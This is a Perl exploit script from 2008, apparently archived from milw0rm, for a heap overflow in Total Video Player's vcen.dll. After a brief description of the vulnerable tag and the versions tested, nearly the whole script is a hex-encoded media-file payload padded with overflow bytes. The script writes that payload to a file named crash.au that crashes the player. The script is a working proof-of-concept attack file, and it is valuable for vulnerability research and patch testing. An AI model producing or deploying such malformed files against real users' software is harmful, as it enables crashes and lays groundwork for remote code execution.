###############################################################################
# Total Video Player (vcen.dll) Remote Heap Overflow Crash
# By Cn4phux.
# Vendor: http://www.effectmatrix.com/
# Risk : high
#
# The "<? TVP type= ?>" tag fail to handle long strings, which can lead to a Heap overflow in TVP.
# This bug can be remote or local, TVP parse any supplied file for a reconized header even if the header is not corresponding
# to the filetype,
# Tested against Win XP SP1/SP2 FR, and 1.10/1.20 TVP.
my $payload =
"\x2E\x52\x4D\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00".
"\x00\x06\x50\x52\x4F\x50\x00\x00\x00\x32\x00\x00\x00\x01\x78\xD4".
"\x00\x01\x78\xD4\x00\x00\x05\x78\x00\x00\x05\x78\x00\x00\x00\xA0".
"\x00\x00\x45\x42\x00\x00\x07\x41\x00\x03\x75\x70\x00\x00\x02\xDE".
"\x00\x02\x00\x09\x43\x4F\x4E\x54\x00\x00\x00\x40\x00\x00\x00\x01".
"\x20\x00\x01\x20\x00\x01\x20\x00\x2B\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x4D\x44\x50\x52\x00\x00\x00\xAC\x00\x00\x00\x00".
"\x00\x01\x78\xD4\x00\x01\x78\xD4\x00\x00\x05\x78\x00\x00\x05\x78".
"\x00\x00\x00\x00\x00\x00\x07\x41\x00\x00\x48\x8F\x0C\x41\x75\x64".
"\x69\x6F\x20\x53\x74\x72\x65\x61\x6D\x14\x61\x75\x64\x69\x6F\x2F".
"\x78\x2D\x70\x6E\x2D\x72\x65\x61\x6C\x61\x75\x64\x69\x6F\x00\x00".
"\x00\x5E\x2E\x72\x61\xFD\x00\x05\x00\x00\x2E\x72\x61\x35\x00\x00".
"\x00\x10\x00\x05\x00\x00\x00\x4E\x00\x19\x00\x00\x05\x78\x00\x00".
"\x00\x00\x00\x0B\x0A\x36\x00\x00\x00\x00\x00\x10\x05\x78\x01\x18".
"\x00\x00\x00\x00\xAC\x44\x00\x00\xAC\x44\x00\x00\x00\x10\x00\x02".
"\x67\x65\x6E\x72\x63\x6F\x6F\x6B\x01\x07\x00\x00\x00\x00\x00\x10".
"\x01\x00\x00\x03\x08\x00\x00\x25\x00\x00\x00\x00\x00\x08\x00\x05".
"\x4D\x44\x50\x52\x00\x00\x01\xAE\x00\x00\x00\x01\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x6C\x6F\x67\x69\x63\x61".
"\x6C\x2D\x66\x69\x6C\x65\x69\x6E\x66\x6F\x00\x00\x01\x70\x00\x00".
"\x01\x70\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x1F\x00\x00".
"\x0E\x43\x6F\x6E\x74\x65\x6E\x74\x20\x52\x61\x74\x69\x6E\x67\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x09".
"\x41\x75\x64\x69\x65\x6E\x63\x65\x73\x00\x00\x00\x02\x00\x1D\x31".
"\x30\x30\x25\x20\x51\x75\x61\x6C\x69\x74\x79\x20\x44\x6F\x77\x6E".
"\x6C\x6F\x61\x64\x20\x28\x56\x42\x52\x29\x3B\x00\x00\x00\x00\x1C".
"\x00\x00\x09\x61\x75\x64\x69\x6F\x4D\x6F\x64\x65\x00\x00\x00\x02".
"\x00\x06\x6D\x75\x73\x69\x63\x00\x00\x00\x00\x2B\x00\x00\x0D\x43".
"\x72\x65\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02".
"\x00\x11\x32\x2F\x32\x2F\x32\x30\x30\x36\x20\x36\x3A\x35\x37\x3A".
"\x30\x31\x00\x00\x00\x00\x1A\x00\x00\x0B\x44\x65\x73\x63\x72\x69".
"\x70\x74\x69\x6F\x6E\x00\x00\x00\x02\x00\x02\x20\x00\x00\x00\x00".
"\x4F\x00\x00\x0C\x47\x65\x6E\x65\x72\x61\x74\x65\x64\x20\x42\x79".
"\x00\x00\x00\x02\x00\x36\x48\x65\x6C\x69\x78\x20\x50\x72\x6F\x64".
"\x75\x63\x65\x72\x20\x53\x44\x4B\x20\x31\x30\x2E\x30\x20\x66\x6F".
"\x72\x20\x57\x69\x6E\x64\x6F\x77\x73\x2C\x20\x42\x75\x69\x6C\x64".
"\x20\x31\x30\x2E\x30\x2E\x30\x2E\x35\x34\x35\x00\x00\x00\x00\x16".
"\x00\x00\x08\x4B\x65\x79\x77\x6F\x72\x64\x73\x00\x00\x00\x02\x00".
"\x01\x00\x00\x00\x00\x2F\x00\x00\x11\x4D\x6F\x64\x69\x66\x69\x63".
"\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x11".
"\x32\x2F\x32\x2F\x32\x30\x30\x36\x20\x36\x3A\x35\x37\x3A\x30\x31".
"\x00\x00\x00\x00\x1D\x00\x00\x09\x76\x69\x64\x65\x6F\x4D\x6F\x64".
"\x65\x00\x00\x00\x02\x00\x07\x6E\x6F\x72\x6D\x61\x6C\x00\x44\x41".
"\x54\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
my $file="crash.au";
open(my $file, ">>$file") or die "Cannot open $file: $!";
print $file $payload;
close($file);
#Made in Algeria. /Cn4phux
# milw0rm.com [2008-11-24]